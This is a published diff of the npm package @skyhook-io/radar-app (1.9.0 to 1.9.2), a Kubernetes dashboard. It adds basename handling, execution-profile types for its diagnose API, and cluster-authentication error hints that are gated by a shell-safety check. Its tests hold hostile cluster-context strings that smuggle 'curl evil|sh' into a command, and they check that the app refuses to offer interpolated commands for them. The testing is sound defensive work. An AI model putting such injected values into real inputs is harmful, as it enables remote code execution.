@skyhook-io/radar-app 1.9.0 → 1.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (52) hide show
  1. package/package.json +7 -7
  2. package/src/App.tsx +69 -16
  3. package/src/api/apiResources.test.ts +11 -0
  4. package/src/api/apiResources.ts +51 -12
  5. package/src/api/client.capacity.test.ts +92 -0
  6. package/src/api/client.ts +2905 -2081
  7. package/src/api/config.test.ts +47 -0
  8. package/src/api/config.ts +15 -0
  9. package/src/api/diagnose.ts +15 -15
  10. package/src/components/ConnectionErrorView.test.tsx +88 -0
  11. package/src/components/ConnectionErrorView.tsx +128 -22
  12. package/src/components/capacity/CapacityActivity.tsx +787 -0
  13. package/src/components/capacity/CapacityDemand.tsx +961 -0
  14. package/src/components/capacity/CapacityOverview.tsx +1529 -0
  15. package/src/components/capacity/CapacityPoolDetail.tsx +1626 -0
  16. package/src/components/capacity/CapacityView.test.tsx +2287 -0
  17. package/src/components/capacity/CapacityView.tsx +85 -0
  18. package/src/components/capacity/ClusterSchedulingCard.tsx +603 -0
  19. package/src/components/capacity/DemandNomination.test.tsx +151 -0
  20. package/src/components/capacity/certaintyGlyph.test.tsx +191 -0
  21. package/src/components/capacity/coverageCertainty.test.ts +162 -0
  22. package/src/components/capacity/podDemandGate.test.ts +47 -0
  23. package/src/components/capacity/podDemandGate.ts +22 -0
  24. package/src/components/capacity/schedulingBar.test.ts +244 -0
  25. package/src/components/capacity/shared.tsx +1841 -0
  26. package/src/components/diagnose/AISettings.tsx +21 -7
  27. package/src/components/diagnose/AgentSetupNotice.tsx +117 -0
  28. package/src/components/diagnose/DiagnoseContext.tsx +127 -57
  29. package/src/components/diagnose/DiagnoseSurface.tsx +33 -15
  30. package/src/components/diagnose/LocalDiagnoseAction.tsx +50 -27
  31. package/src/components/diagnose/agentCatalog.ts +30 -0
  32. package/src/components/diagnose/parts.test.tsx +125 -0
  33. package/src/components/diagnose/parts.tsx +166 -75
  34. package/src/components/home/CapacityCard.test.tsx +150 -0
  35. package/src/components/home/CapacityCard.tsx +125 -0
  36. package/src/components/home/HomeView.tsx +15 -1
  37. package/src/components/issues/IssuesPane.test.ts +142 -0
  38. package/src/components/issues/IssuesPane.tsx +142 -38
  39. package/src/components/nav/PrimaryNavRail.test.tsx +20 -0
  40. package/src/components/nav/PrimaryNavRail.tsx +191 -103
  41. package/src/components/resources/ResourcesView.tsx +9 -8
  42. package/src/components/resources/renderers/KarpenterNodePoolRenderer.tsx +29 -1
  43. package/src/components/resources/renderers/PodRenderer.tsx +32 -3
  44. package/src/components/settings/SettingsDialog.tsx +31 -19
  45. package/src/components/timeline/TimelineView.tsx +17 -3
  46. package/src/components/ui/command-items.ts +222 -98
  47. package/src/components/workload/WorkloadView.tsx +16 -83
  48. package/src/context/ConnectionContext.test.ts +39 -0
  49. package/src/context/ConnectionContext.tsx +155 -51
  50. package/src/context/DiagnoseCustomization.tsx +1 -1
  51. package/src/utils/shell-safe.test.ts +55 -0
  52. package/src/utils/shell-safe.ts +21 -0
@@ -0,0 +1,47 @@
1
+ import { describe, expect, it, afterEach } from 'vitest'
2
+
3
+ import { setBasename, stripBasename, routePath } from './config'
4
+
5
+ // setBasename mutates module state — restore standalone default after each test.
6
+ afterEach(() => {
7
+ setBasename('')
8
+ })
9
+
10
+ describe('stripBasename', () => {
11
+ it('passes paths through unchanged when no basename is configured', () => {
12
+ expect(stripBasename('/resources/pods')).toBe('/resources/pods')
13
+ expect(stripBasename('/')).toBe('/')
14
+ })
15
+
16
+ it('strips a configured basename prefix', () => {
17
+ setBasename('/c/abc')
18
+ expect(stripBasename('/c/abc/resources/pods')).toBe('/resources/pods')
19
+ expect(stripBasename('/c/abc/timeline?range=1h')).toBe('/timeline?range=1h')
20
+ })
21
+
22
+ it('maps the bare basename to root', () => {
23
+ setBasename('/c/abc')
24
+ expect(stripBasename('/c/abc')).toBe('/')
25
+ })
26
+
27
+ it('strips when the basename is followed directly by a query string', () => {
28
+ setBasename('/c/abc')
29
+ expect(stripBasename('/c/abc?tab=events')).toBe('?tab=events')
30
+ })
31
+
32
+ it('leaves basename-relative paths unchanged (idempotent)', () => {
33
+ setBasename('/c/abc')
34
+ expect(stripBasename('/resources/pods')).toBe('/resources/pods')
35
+ expect(stripBasename(stripBasename('/c/abc/resources/pods'))).toBe('/resources/pods')
36
+ })
37
+
38
+ it('does not strip a path that merely shares a string prefix', () => {
39
+ setBasename('/c/abc')
40
+ expect(stripBasename('/c/abcdef/resources')).toBe('/c/abcdef/resources')
41
+ })
42
+
43
+ it('inverts routePath', () => {
44
+ setBasename('/c/abc')
45
+ expect(stripBasename(routePath('/auth/login'))).toBe('/auth/login')
46
+ })
47
+ })
package/src/api/config.ts CHANGED
@@ -64,6 +64,21 @@ export function routePath(path: string): string {
64
64
  return prefix + path;
65
65
  }
66
66
 
67
+ /**
68
+ * Inverse of `routePath`: strips the configured basename from a window-level
69
+ * path so it can be handed to React Router's navigate(), which re-applies the
70
+ * basename. Passing an already-prefixed path to navigate() doubles the prefix
71
+ * (e.g. /c/abc/c/abc/...). Basename-relative paths pass through unchanged.
72
+ */
73
+ export function stripBasename(path: string): string {
74
+ const prefix = basename;
75
+ if (!prefix) return path;
76
+ if (path === prefix || path.startsWith(prefix + '/') || path.startsWith(prefix + '?')) {
77
+ return path.slice(prefix.length) || '/';
78
+ }
79
+ return path;
80
+ }
81
+
67
82
  /**
68
83
  * Builds a WebSocket URL for a given API path.
69
84
  *
@@ -10,17 +10,26 @@ export interface AgentInfo {
10
10
  version: string;
11
11
  present: boolean;
12
12
  supported: boolean;
13
+ profiles?: ExecutionProfile[];
14
+ consentSurfaces?: Partial<Record<ExecutionProfile, string>>;
13
15
  hosted?: boolean;
14
16
  }
15
17
 
16
18
  export interface AgentsResponse {
17
19
  agents: AgentInfo[];
18
20
  enabled: boolean;
21
+ // eligible: this run mode supports local BYO-agent diagnosis (no proxy/OIDC
22
+ // auth, /mcp mounted) — true even when no agent is installed. Lets the UI tell
23
+ // "install an agent to enable this" (eligible && !enabled) apart from "not
24
+ // available here" (auth/cloud/--no-mcp). Absent on older servers / embed hosts.
25
+ eligible?: boolean;
19
26
  // Machine-scoped consent per disclosure surface, recorded server-side
20
27
  // (~/.radar) — one acknowledgment covers the web panel and the CLI.
21
- consented?: { standard?: boolean; cursor?: boolean };
28
+ consented?: Record<string, boolean>;
22
29
  }
23
30
 
31
+ export type ExecutionProfile = "safeguarded" | "full-local";
32
+
24
33
  export interface DiagnoseStep {
25
34
  id: string;
26
35
  tool: string;
@@ -64,14 +73,7 @@ export interface ResourceHealthSignal {
64
73
  }
65
74
 
66
75
  export interface DiagnoseStreamEvent {
67
- type:
68
- | "turn"
69
- | "phase"
70
- | "step"
71
- | "thinking"
72
- | "done"
73
- | "error"
74
- | "closed";
76
+ type: "turn" | "phase" | "step" | "thinking" | "done" | "error" | "closed";
75
77
  phase?: string;
76
78
  step?: DiagnoseStep;
77
79
  token?: string;
@@ -91,7 +93,7 @@ export interface RunSummary {
91
93
  name: string;
92
94
  context: string;
93
95
  agent?: string; // backend CLI that drove this run ("claude"/"codex")
94
- isolated?: boolean;
96
+ profile?: ExecutionProfile;
95
97
  model?: string;
96
98
  effort?: string;
97
99
  managedBy?: string; // GitOps/Helm owner of the target ("Argo CD"/"Flux"/"Helm"), for the Apply warning
@@ -145,7 +147,7 @@ export async function createRun(
145
147
  },
146
148
  opts?: {
147
149
  agent?: string;
148
- isolated?: boolean;
150
+ profile?: ExecutionProfile;
149
151
  model?: string;
150
152
  effort?: string;
151
153
  },
@@ -179,10 +181,8 @@ export async function listRuns(signal?: AbortSignal): Promise<RunsResponse> {
179
181
  return { runs: d.runs ?? [], historyDegraded: !!d.historyDegraded };
180
182
  }
181
183
 
182
- // recordConsent acknowledges the current disclosure for a surface, server-side.
183
- export async function recordConsent(
184
- surface: "standard" | "cursor",
185
- ): Promise<void> {
184
+ // recordConsent acknowledges the current disclosure for an execution profile, server-side.
185
+ export async function recordConsent(surface: string): Promise<void> {
186
186
  const res = await fetch(`${getApiBase()}/diagnose/consent`, {
187
187
  method: "POST",
188
188
  credentials: getCredentialsMode(),
@@ -0,0 +1,88 @@
1
+ import { renderToStaticMarkup } from 'react-dom/server'
2
+ import type { ReactNode } from 'react'
3
+ import { describe, expect, it, vi } from 'vitest'
4
+
5
+ vi.stubGlobal('window', { location: { host: 'localhost:9280' } })
6
+
7
+ vi.mock('@skyhook-io/k8s-ui', () => ({
8
+ ClusterName: ({ name }: { name: string }) => <span>{name}</span>,
9
+ useOpenLocalTerminal: () => vi.fn(),
10
+ }))
11
+ vi.mock('../api/client', () => ({
12
+ useAuthMe: () => ({ data: { authEnabled: false } }),
13
+ }))
14
+ vi.mock('./ContextSwitcher', () => ({
15
+ ContextSwitcher: () => <button>Switch context</button>,
16
+ }))
17
+ vi.mock('./ui/Tooltip', () => ({
18
+ Tooltip: ({ children }: { children: ReactNode }) => children,
19
+ }))
20
+
21
+ import {
22
+ ConnectionErrorView,
23
+ CopyableCommand,
24
+ getAuthRejectedHints,
25
+ selectConnectionHints,
26
+ } from './ConnectionErrorView'
27
+
28
+ function renderError(errorType: string, context: string): string {
29
+ return renderToStaticMarkup(
30
+ <ConnectionErrorView
31
+ connection={{ state: 'disconnected', context, errorType, error: 'safe error' }}
32
+ onRetry={() => {}}
33
+ isRetrying={false}
34
+ />,
35
+ )
36
+ }
37
+
38
+ describe('ConnectionErrorView authentication guidance', () => {
39
+ it('builds an honest EKS diagnostic without presenting it as authentication', () => {
40
+ const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
41
+ const hints = getAuthRejectedHints(context)
42
+ const markup = renderError('auth-rejected', context)
43
+
44
+ expect(hints.authCommand?.command).toBe(
45
+ 'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
46
+ )
47
+ expect(hints.hideAuthButton).toBe(true)
48
+ expect(markup).toContain('EKS Could Not Authenticate This Request')
49
+ expect(markup).not.toContain('Authenticate in terminal')
50
+ })
51
+
52
+ it('does not offer interpolated commands for hostile EKS context values', () => {
53
+ const hints = getAuthRejectedHints('arn:aws:eks:us-east-1;curl evil|sh:123456789012:cluster/prod')
54
+
55
+ expect(hints.authCommand).toBeUndefined()
56
+ expect(hints.hideAuthButton).toBeUndefined()
57
+ expect(hints.fallbackCommand?.command).toBe('aws sso login')
58
+ })
59
+
60
+ it('does not offer interpolated commands for hostile GKE context values', () => {
61
+ const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
62
+
63
+ expect(hints.authCommand?.command).toBe('gcloud auth login')
64
+ expect(hints.fallbackCommand).toBeUndefined()
65
+ })
66
+
67
+ it('selects dedicated guidance for a stuck credential plugin', () => {
68
+ expect(selectConnectionHints('auth-plugin-stuck', 'eks-context')?.title).toBe('Credential Plugin Stopped Responding')
69
+
70
+ const markup = renderError('auth-plugin-stuck', 'eks-context')
71
+ expect(markup).toContain('Credential Plugin Stopped Responding')
72
+ expect(markup).not.toContain('aws sso login')
73
+ })
74
+
75
+ it('renders placeholder AKS commands without a run affordance', () => {
76
+ const markup = renderError('auth-rejected', 'clusterUser_platform_prod')
77
+
78
+ expect(markup.match(/aria-label="Run command in terminal"/g)).toHaveLength(1)
79
+ expect(markup).toContain('&lt;cluster&gt;')
80
+ expect(markup).toContain('&lt;rg&gt;')
81
+ })
82
+
83
+ it('renders copy-only commands without a run affordance', () => {
84
+ const markup = renderToStaticMarkup(<CopyableCommand command="placeholder" />)
85
+
86
+ expect(markup).not.toContain('aria-label="Run command in terminal"')
87
+ })
88
+ })
@@ -6,6 +6,7 @@ import { parseContextName } from '../utils/context-name'
6
6
  import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
7
7
  import { useAuthMe } from '../api/client'
8
8
  import { Tooltip } from './ui/Tooltip'
9
+ import { allShellSafe } from '../utils/shell-safe'
9
10
 
10
11
  interface ConnectionErrorViewProps {
11
12
  connection: ConnectionState
@@ -13,13 +14,21 @@ interface ConnectionErrorViewProps {
13
14
  isRetrying: boolean
14
15
  }
15
16
 
17
+ interface CommandHint {
18
+ label: string
19
+ command: string
20
+ runnable?: boolean
21
+ }
22
+
16
23
  interface AuthHints {
17
24
  title: string
18
25
  hints: string[]
19
26
  /** Primary auth command — usually sufficient on its own */
20
- authCommand?: { label: string; command: string }
27
+ authCommand?: CommandHint
21
28
  /** Secondary command shown as fallback if primary doesn't resolve the issue */
22
- fallbackCommand?: { label: string; command: string }
29
+ fallbackCommand?: CommandHint
30
+ /** Set when authCommand is a diagnostic rather than a re-auth — suppresses the "Authenticate in terminal" button */
31
+ hideAuthButton?: boolean
23
32
  }
24
33
 
25
34
  function getAuthHints(context: string): AuthHints {
@@ -32,7 +41,7 @@ function getAuthHints(context: string): AuthHints {
32
41
  hints: ['Radar could not get Google Cloud credentials for this context.'],
33
42
  authCommand: { label: 'Refresh Google Cloud credentials:', command: 'gcloud auth login' },
34
43
  }
35
- if (parsed.region && parsed.account) {
44
+ if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
36
45
  const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
37
46
  const flag = isZone ? '--zone' : '--region'
38
47
  result.fallbackCommand = {
@@ -51,7 +60,7 @@ function getAuthHints(context: string): AuthHints {
51
60
  ],
52
61
  authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
53
62
  }
54
- if (parsed.region) {
63
+ if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
55
64
  result.fallbackCommand = {
56
65
  label: 'If that doesn\'t work, refresh cluster credentials:',
57
66
  command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
@@ -64,7 +73,7 @@ function getAuthHints(context: string): AuthHints {
64
73
  title: 'AKS Authentication Failed',
65
74
  hints: ['Radar could not get Azure credentials for this context.'],
66
75
  authCommand: { label: 'Refresh Azure credentials:', command: 'az login' },
67
- fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>' },
76
+ fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
68
77
  }
69
78
  default:
70
79
  return {
@@ -77,6 +86,85 @@ function getAuthHints(context: string): AuthHints {
77
86
  }
78
87
  }
79
88
 
89
+ export function getAuthRejectedHints(context: string): AuthHints {
90
+ const parsed = parseContextName(context)
91
+
92
+ switch (parsed.provider) {
93
+ case 'EKS': {
94
+ const result: AuthHints = {
95
+ title: 'EKS Could Not Authenticate This Request',
96
+ hints: [
97
+ 'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
98
+ 'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
99
+ 'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
100
+ 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
101
+ 'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
102
+ ],
103
+ fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
104
+ }
105
+ if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
106
+ result.authCommand = {
107
+ label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
108
+ command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
109
+ }
110
+ // A diagnostic, not a re-auth — the "Authenticate in terminal" button
111
+ // would misrepresent what running it does.
112
+ result.hideAuthButton = true
113
+ }
114
+ return result
115
+ }
116
+ case 'GKE': {
117
+ const result: AuthHints = {
118
+ title: 'GKE Could Not Authenticate This Request',
119
+ hints: [
120
+ 'GKE returned HTTP 401, so Kubernetes could not authenticate this request.',
121
+ 'The credential or auth plugin may be missing or misconfigured, or the OAuth token may be stale or revoked.',
122
+ ],
123
+ authCommand: { label: 'Refresh Google Cloud credentials:', command: 'gcloud auth login' },
124
+ }
125
+ if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
126
+ const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
127
+ const flag = isZone ? '--zone' : '--region'
128
+ result.fallbackCommand = {
129
+ label: 'If that doesn\'t work, refresh cluster credentials:',
130
+ command: `gcloud container clusters get-credentials ${parsed.clusterName} ${flag} ${parsed.region} --project ${parsed.account}`,
131
+ }
132
+ }
133
+ return result
134
+ }
135
+ case 'AKS':
136
+ return {
137
+ title: 'AKS Could Not Authenticate This Request',
138
+ hints: [
139
+ 'AKS returned HTTP 401, so Kubernetes could not authenticate this request.',
140
+ 'The credential may be missing, stale, or revoked — re-authenticating usually resolves this.',
141
+ ],
142
+ authCommand: { label: 'Refresh Azure credentials:', command: 'az login' },
143
+ fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
144
+ }
145
+ default:
146
+ return {
147
+ title: 'Kubernetes Could Not Authenticate This Request',
148
+ hints: [
149
+ 'The Kubernetes API returned HTTP 401, so it could not authenticate this request.',
150
+ 'The kubeconfig user may not have supplied a credential, or its credential may be expired or revoked.',
151
+ 'If the cluster maps identities explicitly, the principal used by this context may not be mapped yet.',
152
+ ],
153
+ }
154
+ }
155
+ }
156
+
157
+ function getAuthPluginStuckHints(): AuthHints {
158
+ return {
159
+ title: 'Credential Plugin Stopped Responding',
160
+ hints: [
161
+ 'The credential command configured by this kubeconfig did not return before the deadline.',
162
+ 'Check that your cloud-provider CLI and its identity-provider or network dependencies are responsive.',
163
+ 'Radar will keep checking in the background and reconnect when the credential command recovers.',
164
+ ],
165
+ }
166
+ }
167
+
80
168
  function getTimeoutHints(context: string): AuthHints | null {
81
169
  const parsed = parseContextName(context)
82
170
  const baseHints = [
@@ -91,7 +179,7 @@ function getTimeoutHints(context: string): AuthHints | null {
91
179
  hints: [...baseHints, 'If the endpoint is reachable, Google Cloud credentials may need refresh.'],
92
180
  authCommand: { label: 'If network access looks healthy, refresh Google Cloud credentials:', command: 'gcloud auth login' },
93
181
  }
94
- if (parsed.region && parsed.account) {
182
+ if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
95
183
  const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
96
184
  const flag = isZone ? '--zone' : '--region'
97
185
  result.fallbackCommand = {
@@ -107,7 +195,7 @@ function getTimeoutHints(context: string): AuthHints | null {
107
195
  hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
108
196
  authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
109
197
  }
110
- if (parsed.region) {
198
+ if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
111
199
  result.fallbackCommand = {
112
200
  label: 'If that does not work, refresh cluster credentials:',
113
201
  command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
@@ -120,7 +208,7 @@ function getTimeoutHints(context: string): AuthHints | null {
120
208
  title: 'Connection Timed Out',
121
209
  hints: [...baseHints, 'If the endpoint is reachable, Azure credentials may need refresh.'],
122
210
  authCommand: { label: 'If network access looks healthy, refresh Azure credentials:', command: 'az login' },
123
- fallbackCommand: { label: 'If that does not work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>' },
211
+ fallbackCommand: { label: 'If that does not work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
124
212
  }
125
213
  default:
126
214
  return null
@@ -157,8 +245,9 @@ const errorHints: Record<string, { title: string; hints: string[] }> = {
157
245
  tls: {
158
246
  title: 'Certificate Error',
159
247
  hints: [
160
- 'Radar reached the Kubernetes API, but could not verify its TLS certificate',
161
- 'Check the kubeconfig cluster server hostname and certificate-authority settings',
248
+ 'Radar reached the Kubernetes API, but the TLS handshake failed',
249
+ 'If the error mentions "bad certificate" or "certificate required", the cluster rejected Radar\'s client certificate — it may have expired (kubeadm certs expire after a year). Renew it (e.g. kubeadm certs renew) or re-download the kubeconfig',
250
+ 'Otherwise check the kubeconfig cluster server hostname and certificate-authority settings',
162
251
  'If this cluster intentionally uses a private CA, refresh the kubeconfig for this context',
163
252
  ],
164
253
  },
@@ -181,7 +270,7 @@ const errorHints: Record<string, { title: string; hints: string[] }> = {
181
270
  },
182
271
  }
183
272
 
184
- function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunInTerminal?: (command: string) => void }) {
273
+ export function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunInTerminal?: (command: string) => void }) {
185
274
  const [copied, setCopied] = useState(false)
186
275
  const commandParts = command.split(/(\s+)/)
187
276
 
@@ -231,15 +320,28 @@ function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunI
231
320
  )
232
321
  }
233
322
 
323
+ export function selectConnectionHints(errorType: string | undefined, context: string): AuthHints | null {
324
+ switch (errorType) {
325
+ case 'auth':
326
+ return getAuthHints(context)
327
+ case 'auth-rejected':
328
+ return getAuthRejectedHints(context)
329
+ case 'auth-plugin-stuck':
330
+ return getAuthPluginStuckHints()
331
+ case 'timeout':
332
+ return getTimeoutHints(context)
333
+ default:
334
+ return null
335
+ }
336
+ }
337
+
234
338
  export function ConnectionErrorView({ connection, onRetry, isRetrying }: ConnectionErrorViewProps) {
235
339
  // For auth errors, generate context-aware hints with a specific re-auth command
236
340
  const isAuth = connection.errorType === 'auth'
237
- const isTimeout = connection.errorType === 'timeout'
238
- const commandInfo = isAuth
239
- ? getAuthHints(connection.context || '')
240
- : isTimeout
241
- ? getTimeoutHints(connection.context || '')
242
- : null
341
+ const isAuthRejected = connection.errorType === 'auth-rejected'
342
+ const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
343
+ const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
344
+ const commandInfo = selectConnectionHints(connection.errorType, connection.context || '')
243
345
  const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
244
346
  const openLocalTerminal = useOpenLocalTerminal()
245
347
  const { data: authMe } = useAuthMe()
@@ -315,8 +417,8 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
315
417
  {commandInfo?.authCommand && (
316
418
  <div className="mt-3">
317
419
  <p className="text-xs text-theme-text-tertiary">{commandInfo.authCommand.label}</p>
318
- <CopyableCommand command={commandInfo.authCommand.command} onRunInTerminal={handleRunInTerminal} />
319
- {isAuth && (
420
+ <CopyableCommand command={commandInfo.authCommand.command} onRunInTerminal={commandInfo.authCommand.runnable === false ? undefined : handleRunInTerminal} />
421
+ {isAuthError && !commandInfo?.hideAuthButton && commandInfo.authCommand.runnable !== false && (
320
422
  <button
321
423
  onClick={handleAuthInTerminal}
322
424
  className="mt-3 w-full inline-flex items-center justify-center gap-2 px-3 py-2 text-xs font-medium btn-brand rounded-md"
@@ -330,7 +432,7 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
330
432
  {commandInfo?.fallbackCommand && (
331
433
  <div className="mt-4 pt-3 border-t border-theme-border/50">
332
434
  <p className="text-xs text-theme-text-tertiary">{commandInfo.fallbackCommand.label}</p>
333
- <CopyableCommand command={commandInfo.fallbackCommand.command} onRunInTerminal={handleRunInTerminal} />
435
+ <CopyableCommand command={commandInfo.fallbackCommand.command} onRunInTerminal={commandInfo.fallbackCommand.runnable === false ? undefined : handleRunInTerminal} />
334
436
  </div>
335
437
  )}
336
438
  {connection.error && (
@@ -380,9 +482,13 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
380
482
  {connection.errorType !== 'config' && <ContextSwitcher triggerName="Switch context" />}
381
483
  </div>
382
484
 
383
- {isAuth && (
485
+ {isAuthError && (
384
486
  <p className="mt-4 text-xs text-theme-text-tertiary">
385
- Radar will keep retrying after credentials are refreshed.
487
+ {isAuthRejected
488
+ ? 'Radar re-checks in the background — access changes are picked up automatically. Use Retry Connection to check immediately.'
489
+ : isAuthPluginStuck
490
+ ? 'Radar re-checks in the background and reconnects when the credential plugin responds. Use Retry Connection to check immediately.'
491
+ : 'Radar re-checks in the background and reconnects once credentials are refreshed. Use Retry Connection to check immediately.'}
386
492
  </p>
387
493
  )}
388
494
  </div>